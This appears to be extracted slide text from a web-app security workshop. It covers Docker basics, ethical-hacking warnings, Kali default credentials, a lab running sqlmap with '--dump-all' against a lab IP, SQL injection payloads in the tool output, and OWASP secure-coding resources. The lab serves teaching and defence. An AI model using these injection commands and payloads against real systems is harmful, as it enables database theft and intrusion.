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ABOUT DOCKER  
Almost overnight, Docker has become the de facto standard that 
developers and system administrators use for packaging, deploying, and 
running distributed and cloud native applications. It provides tools for 
simplifying DevOps by enabling developers to create templates called 
images that can be used to create lightweight virtual machines called 
containers, which include their applications and all of their applications’ 
dependencies. These lightweight virtual machines can be promoted 
through testing and production environments where sysadmins deploy 
and run them.

Docker makes it easier for organizations to automate infrastructure, isolate 
applications, maintain consistency, and improve resource utilizations.

Like the popular version control software Git, Docker has a social aspect 
in that developers and sysadmins can share their images via Docker Hub.

Docker is an open source solution that is available as the free 
Community Edition or the subscription based Enterprise Edition for 
multiple platforms. Docker runs natively on Linux since Docker was 
originally built on Linux containers but it also works on Mac and 
Windows. Many enterprise tools have also grown up around Docker 
to make it easier to manage and orchestrate complex distributed and 
clustered applications architectures. 

DOCKER ARCHITECTURE  
Docker utilizes a client-server architecture and a remote API to manage 
and create Docker containers and images. Docker containers are created 
from Docker images. The relationship between containers and images 
are analogous to the relationship between objects and classes in object-
oriented programming, where the image describes the container and the 
container is a running instance of the image.

Docker 
Images

A recipe or template for creating Docker 
containers. It includes the steps for installing and 
running the necessary software

Docker 
Container

Like a tiny virtual machine that is created from the 
instructions found within the Docker image

Docker 
Client

Command-line utility or other tool that takes 

advantage of the Docker API (docs.docker.com/

reference/api/docker_remote_api) to communicate 
with a Docker daemon

Docker 
Host

A physical or virtual machine that is running a 
Docker daemon and contains cached images as 
well as runnable containers created from images

Docker 
Registry

A repository of Docker images that can be used 
to create Docker containers. Docker Hub 

(hub.docker.com) is the most popular social 
example of a Docker repository.

Docker 
Machine

A utility for managing multiple Docker hosts,  
which can run locally in VirtualBox or remotely 
in a cloud hosting service such as Amazon Web 
Services, Microsoft Azure, Google Cloud Platform, 
or Digital Ocean.
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but why are you here?





2013 Report says

less than half of developers use a 
security application process

http://www.cdmn.ca/wp-content/uploads/2013/09/TiC-Dev-July-2013.pdf





WARNING: The tools & techniques we will be 
discussing today when applied can land you 
in jail. Before using them on a public website 

make sure you have expressed written 
permission to do so from the site owner.



Ethical hacking refers to the act of locating weaknesses and vulnerabilities of computer and 
information systems by duplicating the intent and actions of malicious hackers. Ethical hacking is 
also known as penetration testing, intrusion testing, or red teaming. An ethical hacker is a 
security professional who applies their hacking skills for defensive purposes on behalf of the 
owners of information systems. By conducting penetration tests, an ethical hacker looks to answer 
the following four basic questions: 

1. What information/locations/systems can an attacker gain access?
2. What can an attacker see on the target?
3. What can an attacker do with available information?
4. Does anyone at the target system notice the attempts?

An ethical hacker operates with the knowledge and permission of the organization for which 
they are trying to defend. In some cases, the organization will neglect to inform their information 
security team of the activities that will be carried out by an ethical hacker in an attempt to test the 
effectiveness of the information security team. This is referred to as a double-blind environment. In 
order to operate effectively and legally, an ethical hacker must be informed of the assets that 
should be protected, potential threat sources, and the extent to which the organization will support 
an ethical hacker's efforts.



use this knowledge for good not evil



hack yourself first



https://www.kali.org/
root/toor





Wordy Ninja Blog



https://github.com/cjudd/wordyninjablog



$20 Amazon Gift Card

First person to identify and 
 exploit a 

security vulnerability in 
Wordy Ninja Blog 

I wasn’t aware of gets a

Vulnerable Free Software



https://github.com/cjudd/hacking-and-hardening-java-web-apps-workshop



Lab - App Scanning



root@kali:~# sqlmap -u http://192.168.11.115:8080/injection/search --data="name=Baaz" --dump-
all 

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool 
    http://sqlmap.org 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is 
illegal. It is the end user's responsibility to obey all applicable local, state and federal 
laws. Developers assume no liability and are not responsible for any misuse or damage caused 
by this program 

[*] starting at 12:04:23 

[12:04:23] [INFO] resuming back-end DBMS 'mysql'  
[12:04:23] [INFO] testing connection to the target URL 
sqlmap identified the following injection points with a total of 0 HTTP(s) requests: 
--- 
Place: POST 
Parameter: name 
    Type: boolean-based blind 
    Title: AND boolean-based blind - WHERE or HAVING clause 
    Payload: name=Baaz' AND 6387=6387 AND 'TUSr'='TUSr 

    Type: error-based 
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause 
    Payload: name=Baaz' AND (SELECT 9504 FROM(SELECT COUNT(*),CONCAT(0x717a6b6471,(SELECT 
(CASE WHEN (9504=9504) THEN 1 ELSE 0 END)),0x7176646d71,FLOOR(RAND(0)*2))x FROM 
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'hxTg'='hxTg 

    Type: UNION query 
    Title: MySQL UNION query (NULL) - 6 columns 
    Payload: name=Baaz' UNION ALL SELECT 
NULL,NULL,NULL,NULL,CONCAT(0x717a6b6471,0x4f6145586b4a6e436d71,0x7176646d71),NULL# 

Lab - SQL Injection



Lab - Cross-site Scripting (XSS)



 ____________ 
< metasploit > 
 ------------ 
       \   ,__, 
        \  (oo)____ 
           (__)    )\ 
              ||--|| * 

tool and database of exploits and vulnerabilities

Lab - Known Vulnerabilities



Summary



developers have to be 
right 100% of the time



developers have to be 
right 100% of the time

hackers only have to be right once
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Security





if exploited would it end up on the front 
page of the paper?



if exploited would it end up on the front 
page of the paper?

what impact would it have?



http://www.marketwatch.com/story/nyse-releases-a-cybersecurity-guide-for-public-companies-2015-10-14



Security Principals
Minimize attack surface area 
Establish secure defaults 
Least privilege 
Defense in depth 
Fail and recover securely 
Don’t trust (data, services or infrastructure) 
Separation of duties 
Avoid security by obscurity 
Keep security simple 
Fix security issues correctly 
Detect intrusions 
Assume nothing

https://www.owasp.org/index.php/Secure_Coding_Principles

http://www.zdnet.com/article/gary-mcgraw-10-steps-to-secure-software/



Practical Suggestions

Application Security Training 
Common Security Control Libraries 
Independent Verification of Security during Development 
Monitor Applications in Production



Resources



http://www.hdiv.org/









https://www.cybrary.it/



http://twit.tv/show/security-now



https://twitter.com/troyhunt



https://haveibeenpwned.com/



https://www.owasp.org



OWASP Books

1

4.0Testing Guide

Project Leaders: Matteo Meucci and Andrew Muller 
Creative Commons (CC) Attribution Share-Alike
Free version at http://www.owasp.org  

 

 

 

 
 
 
Application Security Verification Standard 3.0.1 
July 2016 

  



OWASP Cheat Sheets
Authentication 
Choosing and Using Security Questions 
Clickjacking Defence 
Cross-Site Request Forgery (CSRF) Prevention 
Cryptography Storage 
DOM based XSS Prevention 
Forgot Password 
HTML 5 Security 
Input Validation 
JAAS 
Logging 
Password Storage 
Pinning 
Query Parameterization 
REST Security 
Session Management 
SQL Injection Prevention 
Transport Layer Protection 
Unvalidated Redirects and Forwards 
User Privacy Protection 
Web Service Security 
XSS (Cross Site Scripting) Prevention

OWASP Cheat Sheets

Martin Woschek, owasp@jesterweb.de

April 9, 2015

https://www.owasp.org/index.php/Cheat_Sheets



https://www.owasp.org/index.php/OWASP_Chapter

OWASP User Groups



http://google-gruyere.appspot.com/



https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
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Attributions

Open Web Application Security Project (OWASP) - www.wasp.org

http://www.wasp.org

